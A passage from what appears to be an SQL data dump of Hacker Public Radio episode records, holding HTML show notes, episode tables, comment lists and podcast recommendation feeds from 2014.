valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1659\">1659</a></strong></td>\n   <td align=\"left\">2014-12-11</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1659\">OggCamp Interview with Jon Archer</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=287\">corenominal</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1660\">1660</a></strong></td>\n   <td align=\"left\">2014-12-12</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1660\">Trying out Slackware</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=288\">beni</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1661\">1661</a></strong></td>\n   <td align=\"left\">2014-12-15</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1661\">OggCamp Interview with Paul Tansom</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=287\">corenominal</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1662\">1662</a></strong></td>\n   <td align=\"left\">2014-12-16</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1662\">LinuxLugCast Episode-001 Outtakes</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=265\">Kevin Wisher</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1663\">1663</a></strong></td>\n   <td align=\"left\">2014-12-17</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1663\">Interview with Greg Greenlee Founder of Blacks In Technology</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken Fallon</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1664\">1664</a></strong></td>\n   <td align=\"left\">2014-12-18</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1664\">Life and Times of a Geek part 1</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1665\">1665</a></strong></td>\n   <td align=\"left\">2014-12-19</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1665\">44 - LibreOffice Calc - Working With Pivot Tables</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1666\">1666</a></strong></td>\n   <td align=\"left\">2014-12-22</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1666\">Bare Metal Programming on the Raspberry Pi (Part 3)</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=259\">Gabriel Evenfire</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1667\">1667</a></strong></td>\n   <td align=\"left\">2014-12-23</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1667\">How to start a Blog</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=291\">Rill</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1668\">1668</a></strong></td>\n   <td align=\"left\">2014-12-24</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1668\">Nixstaller</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\">klaatu</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1669\">1669</a></strong></td>\n   <td align=\"left\">2014-12-25</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1669\">New Retro Computing</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\">NYbill</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1670\">1670</a></strong></td>\n   <td align=\"left\">2014-12-26</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1670\">Digital Signatures and Certificates</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1671\">1671</a></strong></td>\n   <td align=\"left\">2014-12-29</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1671\">LinuxLugCast Episode-002 Outtakes</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=265\">Kevin Wisher</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1672\">1672</a></strong></td>\n   <td align=\"left\">2014-12-30</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1672\">Systemd for Learner Drivers</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=284\">Steve Smethurst</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1673\">1673</a></strong></td>\n   <td align=\"left\">2014-12-31</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1673\">How I use ZFS on Linux</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=292\">Michal Cieraszynski</a></td>\n  </tr>\n </table>\n <h2>Comments this month</h2>\n <p>There are 31 comments:</p>\n <ul>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1667\">hpr1667</a></strong> (2014-12-23) \"<em>How to start a Blog</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=291\">Rill</a>. <ol>\n    <li>davi jordan on 2014-12-27:\"[no title]\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1666\">hpr1666</a></strong> (2014-12-22) \"<em>Bare Metal Programming on the Raspberry Pi (Part 3)</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=259\">Gabriel Evenfire</a>. <ol>\n    <li>Mike Ray on 2014-12-22:\"Another great episode\"</li>\n    <li>Gabriel Evenfire on 2014-12-24:\"Re: Another great episode\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1664\">hpr1664</a></strong> (2014-12-18) \"<em>Life and Times of a Geek part 1</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a>. <ol>\n    <li>0xf10e on 2014-12-20:\"Cool stuff ^^\"</li>\n    <li>Colin on 2014-12-22:\"Thanks Dave!\"</li>\n    <li>Dave Morriss on 2014-12-22:\"Appreciate the feedback\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1663\">hpr1663</a></strong> (2014-12-17) \"<em>Interview with Greg Greenlee Founder of Blacks In Technology</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken Fallon</a>. <ol>\n    <li>dodddummy on 2014-12-25:\"BIT rss feed issues\"</li>\n    <li>Dave Morriss on 2014-12-25:\"Re: BIT rss feed issues\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1660\">hpr1660</a></strong> (2014-12-12) \"<em>Trying out Slackware</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=288\">beni</a>. <ol>\n    <li>Loomx on 2014-12-12:\"[no title]\"</li>\n    <li>Mike Ray on 2014-12-12:\"Great episode\"</li>\n    <li>Beni on 2014-12-13:\"Thanks guys\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1659\">hpr1659</a></strong> (2014-12-11) \"<em>OggCamp Interview with Jon Archer</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=287\">corenominal</a>. <ol>\n    <li>NYbill on 2014-12-18:\"Ah it just clicked!\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1658\">hpr1658</a></strong> (2014-12-10) \"<em>Cool Stuff Part 2</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=252\">Curtis Adkins (CPrompt^)</a>. <ol>\n    <li>Daven on 2014-12-12:\"Thanks!\"</li>\n    <li>NYbill on 2014-12-19:\"Another podcast for the catcher. \"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1657\">hpr1657</a></strong> (2014-12-09) \"<em>Hacking Gutenberg eBooks</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\">Jon Kulp</a>. <ol>\n    <li>Dave Morriss on 2014-12-19:\"Thanks Jon, this is brilliant\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1656\">hpr1656</a></strong> (2014-12-08) \"<em>My audio player collection</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a>. <ol>\n    <li>Mike Ray on 2014-12-08:\"The Dave Morris National Audio Player Museum\"</li>\n    <li>p on 2014-12-08:\"[no title]\"</li>\n    <li>Dave Morriss on 2014-12-09:\"Thanks for the feedback\"</li>\n    <li>p on 2014-12-10:\"[no title]\"</li>\n    <li>Dave Morriss on 2014-12-13:\"iRiver Clix2\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1651\">hpr1651</a></strong> (2014-12-01) \"<em>HPR Community News for November 2014</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\">HPR Volunteers</a>. <ol>\n    <li>Mike Ray on 2014-11-30:\"Comment about the RPI GPU in com news for November\"</li>\n    <li>Dave Morriss on 2014-12-01:\"Ken Starks\' Indiegogo campaign\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1649\">hpr1649</a></strong> (2014-11-27) \"<em>Raspberry Pi Accessibility Breakthrough</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=282\">Mike Ray</a>. <ol>\n    <li>gigasphere on 2014-12-02:\"Thanks Mike!\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1648\">hpr1648</a></strong> (2014-11-26) \"<em>Bash parameter manipulation</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a>. <ol>\n    <li>Jon Kulp on 2014-12-04:\"[no title]\"</li>\n    <li>Dave Morriss on 2014-12-05:\"Thanks Jon\"</li>\n    <li>musicpeace on 2014-12-10:\"Thanks Dave! &amp; also for Magnatune\"</li>\n    <li>Dave Morriss on 2014-12-13:\"Magnatune\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1643\">hpr1643</a></strong> (2014-11-19) \"<em>Unison Syncing Utility</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\">FiftyOneFifty</a>. <ol>\n    <li>bort on 2014-12-04:\"[no title]\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1637\">hpr1637</a></strong> (2014-11-11) \"<em>Communities Are Made of People</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\">FiftyOneFifty</a>. <ol>\n    <li>gigasphere on 2014-12-02:\"Great episode\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1630\">hpr1630</a></strong> (2014-10-31) \"<em>Bare Metal Programming on the Raspberry Pi (Part 2)</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=259\">Gabriel Evenfire</a>. <ol>\n    <li>Alison Chaiken on 2014-12-16:\"Would make a great basis for a hackfest\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1512\">hpr1512</a></strong> (2014-05-20) \"<em>Adopting and Renovating a Public-Domain Counterpoint Textbook</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\">Jon Kulp</a>. <ol>\n    <li>Måns Mårtensson on 2014-12-15:\"Teacher\"</li>\n   </ol>\n  </li>\n </ul>\n <ul>\n  <li>Greetings to Afghanistan: Kabul, Kandahar, Mazari Sharif, and Herat.</li>\n  <li><b>HPR COMMUNITY NEWS</b></li>\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1676\">https://hackerpublicradio.org/eps.php?id=1676</a></li>\n  <li>Rich\'s Pool has too much Muriatic Acid (First World Problem)<br />\n   <br />\n  </li>\n </ul><b>2014-12-31T20:00:00Z</b><br />\n <br />\n <ul>\n  <li>Greetings to much of Russia and 8 more: Moscow, Dubai, Abu Dhabi, and Muscat.<br />\n   <br />\n  </li>\n </ul><b>2014-12-31T20:30:00Z</b><br />\n <br />\n <ul>\n  <li>Greetings to Iran: Tehran, Rasht, Esfahn, and Bandar-Abbas.<br />\n   <br />\n  </li>\n  <li>Two rednecks digress on matters of the heart.<br />\n   <br />\n  </li>\n </ul><b>2014-12-31T21:00:00Z</b><br />\n <br />\n <ul>\n  <li>Greetings to Iraq and 20 more: Baghdad, Khartoum, Nairobi, and Addis Ababa.</li>\n  <li>Call for shows by Ken, also correct his pronounciation =D</li>\n  <li>Right to be forgotten. A small discussion and explination about the idea.&nbsp;</li>\n  <li>Processes of hiring folks.&nbsp;</li>\n  <li>issues related to privacy.&nbsp;</li>\n  <li>Ken Falls for a guy.&nbsp;</li>\n  <li>Heated debate!!</li>\n  <li>Ken Fallon and SndChaser start the annual rant-off, Fab is nowhere to be seen.</li>\n </ul> Mumble-2014-12-31-10-03-18-ch1.teamspeak.cc-Mixdown.ogg<br />',159,47,1,'CC-BY-SA','Community News',0,0,1),
(1593,'2014-09-10','Why C++?',745,'Introduction to the C++ programming language main features','<p>\r\nIn this episode, Garjola presents the C++ programming language by\r\nintroducing its main features for object orientation, generic\r\nprogramming and functional style.\r\n</p>',197,25,0,'CC-BY-SA','programming languages, c++',0,0,1),
(1479,'2014-04-03','01 What is on my podcast player',974,'Ahuka begins to tell us about the podcasts he listens to','<p>\r\nWhat is on my podcast player\r\n</p>\r\n<ul>\r\n<li><a href=\"https://leoville.tv/podcasts/aaa.xml\"/>All About Android</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/dancarlin/history?format=xml\" />Dan Carlin\'s Hardcore History</a></li>\r\n<li><a href=\"https://dwowhocast.libsyn.com/rss\" />Doctor Who Podcast: DWO WhoCast</a></li>\r\n<li><a href=\"https://www.gallifreyanembassy.org/podshock/podshockmp3.xml\" />Doctor Who: Podshock MP3</a></li>\r\n<li><a href=\"https://freyburg.libsyn.com/rss\" />Doctor Who: Radio Free Skaro</a></li>\r\n<li><a href=\"https://downloads.bbc.co.uk/podcasts/bbc7/doctorwho/rss.xml\" />Doctor Who: The Commentaries</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/DroidNationmp3\" />Droid Nation MP3</a></li>\r\n<li><a href=\"https://leoville.tv/podcasts/floss.xml\" />FLOSS Weekly</a></li>\r\n<li><a href=\"https://fullcirclemagazine.org/podcast\" />Full Circle Magazine</a></li>\r\n<li><a href=\"https://www.davidbarrkirtley.com/podcast/geeksguideshow.xml\" />Geek\'s Guide to the Galaxy</a></li>\r\n<li><a href=\"https://goinglinux.com/mp3podcast.xml\" />Going Linux</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/hpr_total_ogg_rss.php\" />Hacker Public Radio</a></li>\r\n<li><a href=\"https://www.servicesphere.com/blog/rss.xml\" />ITSM Weekly The Podcast</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/feedburner/knightcast\" />Knightcast</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/linuxbasix/mp3\" />Linuxbasix</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/linuxfortherestofus\" />Linux For The Rest Of Us</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/linuxoutlaws\" />Linux Outlaws</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/lococast\" />Lococast</a></li>\r\n<li><a href=\"https://www.mugglenet.com/mugglecast/mugglecast.rss\" />MuggleCast: the Harry Potter podcast</a></li>\r\n<li><a href=\"https://www.sciencefriday.com/audio/scifriaudio.xml\" />Science Friday Audio Podcast</a></li>\r\n<li><a href=\"https://leoville.tv/podcasts/sn.xml\" />Security Now!</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/spacedogpodcast/feed2\" />Space Dog Podcast</a></li>\r\n<li><a href=\"https://www.startalkradio.net/feed/shows/\" />StarTalk Radio Show by Neil deGrasse Tyson</a></li>\r\n<li><a href=\"https://www.stephenfry.com/?feed=podcast&format=audio\" />Stephen Fry\'s PODGRAMS</a></li>\r\n<li><a href=\"https://smlr.us/?feed=podcast\" />Sunday Morning Linux Review</a></li>\r\n<li><a href=\"https://talkbmc.bmc.libsynpro.com/rss\" />TalkBMC</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/thebuglefeed\" />The Bugle</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/cmdln\" />The Command Line</a></li>\r\n<li><a href=\"https://www.thefutureandyou.libsyn.com/rss\" />The Future And You</a></li>\r\n<li><a href=\"https://downloads.bbc.co.uk/podcasts/radio4/timc/rss.xml\" />The Infinite Monkey Cage</a></li>\r\n<li><a href=\"https://feeds2.feedburner.com/TheLinuxActionShow\" />The Linux Action Show!</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/TheLinuxLinkTechShowMp3Feed\" />The Linux Link Tech Show</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/pm-podcast\" />The Project Management Podcast</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/TheTechieGeekPodcast?format=xml\" />The Techie Geek Podcast</a></li>\r\n<li><a href=\"https://leoville.tv/podcasts/twig.xml\" />This Week In Google</a></li>\r\n<li><a href=\"https://www.twis.org/feed/\" />This Week in Science - The Kickass Science Podcast</a></li>\r\n<li><a href=\"https://leoville.tv/podcasts/twit.xml\" />this WEEK in TECH</a></li>\r\n<li><a href=\"https://leoville.tv/podcasts/tri.xml\" />Triangulation</a></li>\r\n<li><a href=\"https://www.tuxradar.com/files/podcast/podcast_mp3.rss\" />TuxRadar Linux Podcast</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/UbuntuUkPodcastMp3-high\" />Ubuntu Podcast</a></li>\r\n<li><a href=\"https://zareason.com/podcast/feed.xml\" />ZaReason</a></li>\r\n</ul>\r\n\r\n<p>My web site is at <a href=\"https://www.zwilnik.com/\">https://www.zwilnik.com/</a>.</p>\r\n\r\n<p>Remember to support free software!</p>\r\n',198,75,0,'CC-BY-SA','podcasts,recommendations ',0,1420,1),
(1482,'2014-04-08','02 What is on my podcast player',938,'Ahuka continues with the list of podcasts he listens to','<p>What is on my podcast player</p>\r\n<ul>\r\n<li><a href=\"https://leoville.tv/podcasts/aaa.xml\">All About Android</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/dancarlin/history?format=xml\">Dan Carlin\'s Hardcore History</a></li>\r\n<li><a href=\"https://dwowhocast.libsyn.com/rss\">Doctor Who Podcast: DWO WhoCast</a></li>\r\n<li><a href=\"https://www.gallifreyanembassy.org/podshock/podshockmp3.xml\">Doctor Who: Podshock MP3</a></li>\r\n<li><a href=\"https://freyburg.libsyn.com/rss\">Doctor Who: Radio Free Skaro</a></li>\r\n<li><a href=\"https://downloads.bbc.co.uk/podcasts/bbc7/doctorwho/rss.xml\">Doctor Who: The Commentaries</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/DroidNationmp3\">Droid Nation MP3</a></li>\r\n<li><a href=\"https://leoville.tv/podcasts/floss.xml\">FLOSS Weekly</a></li>\r\n<li><a href=\"https://fullcirclemagazine.org/podcast\">Full Circle Magazine</a></li>\r\n<li><a href=\"https://www.davidbarrkirtley.com/podcast/geeksguideshow.xml\">Geek\'s Guide to the Galaxy</a></li>\r\n<li><a href=\"https://goinglinux.com/mp3podcast.xml\">Going Linux</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/hpr_total_ogg_rss.php\">Hacker Public Radio</a></li>\r\n<li><a href=\"https://www.servicesphere.com/blog/rss.xml\">ITSM Weekly The Podcast</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/feedburner/knightcast\">Knightcast</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/linuxbasix/mp3\">Linuxbasix</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/linuxfortherestofus\">Linux For The Rest Of Us</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/linuxoutlaws\">Linux Outlaws</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/lococast\">Lococast</a></li>\r\n<li><a href=\"https://www.mugglenet.com/mugglecast/mugglecast.rss\">MuggleCast: the Harry Potter podcast</a></li>\r\n<li><a href=\"https://www.sciencefriday.com/audio/scifriaudio.xml\">Science Friday Audio Podcast</a></li>\r\n<li><a href=\"https://leoville.tv/podcasts/sn.xml\">Security Now!</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/spacedogpodcast/feed2\">Space Dog Podcast</a></li>\r\n<li><a href=\"https://www.startalkradio.net/feed/shows/\">StarTalk Radio Show by Neil deGrasse Tyson</a></li>\r\n<li><a href=\"https://www.stephenfry.com/?feed=podcast&format=audio\">Stephen Fry\'s PODGRAMS</a></li>\r\n<li><a href=\"https://smlr.us/?feed=podcast\">Sunday Morning Linux Review</a></li>\r\n<li><a href=\"https://talkbmc.bmc.libsynpro.com/rss\">TalkBMC</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/thebuglefeed\">The Bugle</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/cmdln\">The Command Line</a></li>\r\n<li><a href=\"https://www.thefutureandyou.libsyn.com/rss\">The Future And You</a></li>\r\n<li><a href=\"https://downloads.bbc.co.uk/podcasts/radio4/timc/rss.xml\">The Infinite Monkey Cage</a></li>\r\n<li><a href=\"https://feeds2.feedburner.com/TheLinuxActionShow\">The Linux Action Show!</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/TheLinuxLinkTechShowMp3Feed\">The Linux Link Tech Show</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/pm-podcast\">The Project Management Podcast</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/TheTechieGeekPodcast?format=xml\">The Techie Geek Podcast</a></li>\r\n<li><a href=\"https://leoville.tv/podcasts/twig.xml\">This Week In Google</a></li>\r\n<li><a href=\"https://www.twis.org/feed/\">This Week in Science - The Kickass Science Podcast</a></li>\r\n<li><a href=\"https://leoville.tv/podcasts/twit.xml\">this WEEK in TECH</a></li>\r\n<li><a href=\"https://leoville.tv/podcasts/tri.xml\">Triangulation</a></li>\r\n<li><a href=\"https://www.tuxradar.com/files/podcast/podcast_mp3.rss\">TuxRadar Linux Podcast</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/UbuntuUkPodcastMp3-high\">Ubuntu Podcast</a></li>\r\n<li><a href=\"https://zareason.com/podcast/feed.xml\">ZaReason</a></li>\r\n</ul>\r\n<p>My web site is at <a href=\"https://www.zwilnik.com/\">https://www.zwilnik.com/</a>.</p>\r\n<p>Remember to support free software!</p>\r\n',198,75,0,'CC-BY-SA','podcasts,recommendations',0,1398,1),
(1484,'2014-04-10','TuxJam31',4878,'Andrew Conway presents TuxJam episode 31, a special for HPR','<p>\r\nTuxJam is a podcast that reviews lesser known Free and Open Source Software\r\nprojects interspersed with Creative Commons licensed music. TuxJam 31\r\nis a special for HPR.\r\n</p>\r\n<p>\r\nSee <a href=\"https://unseenstudio.co.uk/tuxjam-ogg/tuxjam-episode-31/\">https://unseenstudio.co.uk/tuxjam-ogg/tuxjam-episode-31/</a>\r\n</p>',268,0,0,'CC-BY-SA','astronomy',0,1421,1),
(1486,'2014-04-14','Linux Luddites Episode 11 - Interview with Rob Landley',7222,'Ken Fallon promotes the \"Linux Luddites\" podcast','<p>\r\nThis show is is licensed under a <a href=\"https://creativecommons.org/licenses/by-nc/4.0/\">Creative Commons Attribution-NonCommercial 4.0 International License.</a>\r\n</p>\r\n\r\n<p>\r\nAs stated on the HPR Contribution page\r\n</p>\r\n<p>\r\nWe will continue to promote new podcasts and other creative commons material but due to a lack of slots, we are only releasing material created exclusively for HPR. If there is a piece of creative commons content that you would like to promote, then feel free to record a regular show where you introduce the content and explain why it is important, providing links to where we can get more information. \r\n</p>\r\n<p>\r\nToday I am doing just that. As a member of the HPR community, I would like to bring the podcast LINUX LUDDITES with the tag line \"Not all change is progress\". Taking their name from \"Linux\" the an operating system kernel by Linus Torvalds, and \"Luddites\" from the 19th-century English textile artisans who protested against newly developed labour-saving machinery.\r\n</p>\r\n<p>\r\nI am submitting Episode 11 as it includes a fascinating interview with Rob Landley, former maintainer of BusyBox and covers among other things his experiences of GPL enforcement. For complete episode show notes see <a href=\"https://linuxluddites.com/shows/episode-11/\">https://linuxluddites.com/shows/episode-11/</a>   \r\n</p>\r\n<p>\r\nIf this podcast is not in your feed, you would do very well to add it.\r\n</p>\r\n<p>\r\nIf there is a show is new to the scene, ie not on the linuxlink.net, then contact us about it and also consider submitting an episode as a featured podcast.\r\n</p>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://linuxluddites.com/shows/episode-11/\">https://linuxluddites.com/shows/episode-11/</a>\r\n</li>\r\n<li><a href=\"https://linuxluddites.com/\">https://linuxluddites.com/</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Luddite\">https://en.wikipedia.org/wiki/Luddite</a>\r\n</li>\r\n<li><a href=\"https://www.thelinuxlink.net/\">https://www.thelinuxlink.net/</a>\r\n</li>\r\n</ul>',30,78,1,'CC-BY-NC','linux,busybox,podcast',0,1457,1),
(1487,'2014-04-15','How I Found Linux',376,'New host x1101 describes how he got into Linux','In today\'s show new host x1101, fulfils his promise made at NELF on the Community News and submits his first show on on how he got into Linux.',276,29,0,'CC-BY-SA','linux',0,1479,1),
(1488,'2014-04-16','What\'s on My Podcatcher',1116,'Keith Murray talks about his favourite podcasts','<p>\r\nAfter listening to Ahuka describe his favourite podcasts on HPR1479 and HPR1482 I was surprised to see how few of the shows we listen to overlap. There are so many podcasts out there it\'s always good to be able to get recommendations. I present to you my list of 30 podcasts (I had to cull the list down a bit).\r\n</p>\r\n\r\n<ul>\r\n<li>99% Invisible\r\n <ul>\r\n <li>Website: <a href=\"https://99percentinvisible.org/\">https://99percentinvisible.org/</a>\r\n </li>\r\n <li>Feed: <a href=\"https://99percentinvisible.org/feed/\">https://99percentinvisible.org/feed/</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>Accidental Tech Podcast\r\n <ul>\r\n <li>Website: <a href=\"https://atp.fm/\">https://atp.fm/</a>\r\n </li>\r\n <li>Feed: <a href=\"https://atp.fm/episodes?format=rss\">https://atp.fm/episodes?format=rss</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>The Alton Browncast\r\n <ul>\r\n <li>Website: <a href=\"https://www.nerdist.com/podcast/the-browncast/\">https://www.nerdist.com/podcast/the-browncast/</a>\r\n </li>\r\n <li>Feed: <a href=\"https://www.nerdist.com/feed/\">https://www.nerdist.com/feed/</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>Astronomy Cast\r\n <ul>\r\n <li>Website: <a href=\"https://www.astronomycast.com/\">https://www.astronomycast.com/</a>\r\n </li>\r\n <li>Feed: <a href=\"https://www.astronomycast.com/feed/\">https://www.astronomycast.com/feed/</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>Back to Work\r\n <ul>\r\n <li>Website: <a href=\"https://5by5.tv/b2w\">https://5by5.tv/b2w</a>\r\n </li>\r\n <li>Feed: <a href=\"https://feeds.5by5.tv/b2w\">https://feeds.5by5.tv/b2w</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>Click\r\n <ul>\r\n <li>Website: <a href=\"https://www.bbc.co.uk/podcasts/series/digitalp\">https://www.bbc.co.uk/podcasts/series/digitalp</a>\r\n </li>\r\n <li>Feed: <a href=\"https://downloads.bbc.co.uk/podcasts/worldservice/digitalp/rss.xml\">https://downloads.bbc.co.uk/podcasts/worldservice/digitalp/rss.xml</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>The Domestic CEO\r\n <ul>\r\n <li>Website: <a href=\"https://www.quickanddirtytips.com/domestic-ceo\">https://www.quickanddirtytips.com/domestic-ceo</a>\r\n </li>\r\n <li>Feed: <a 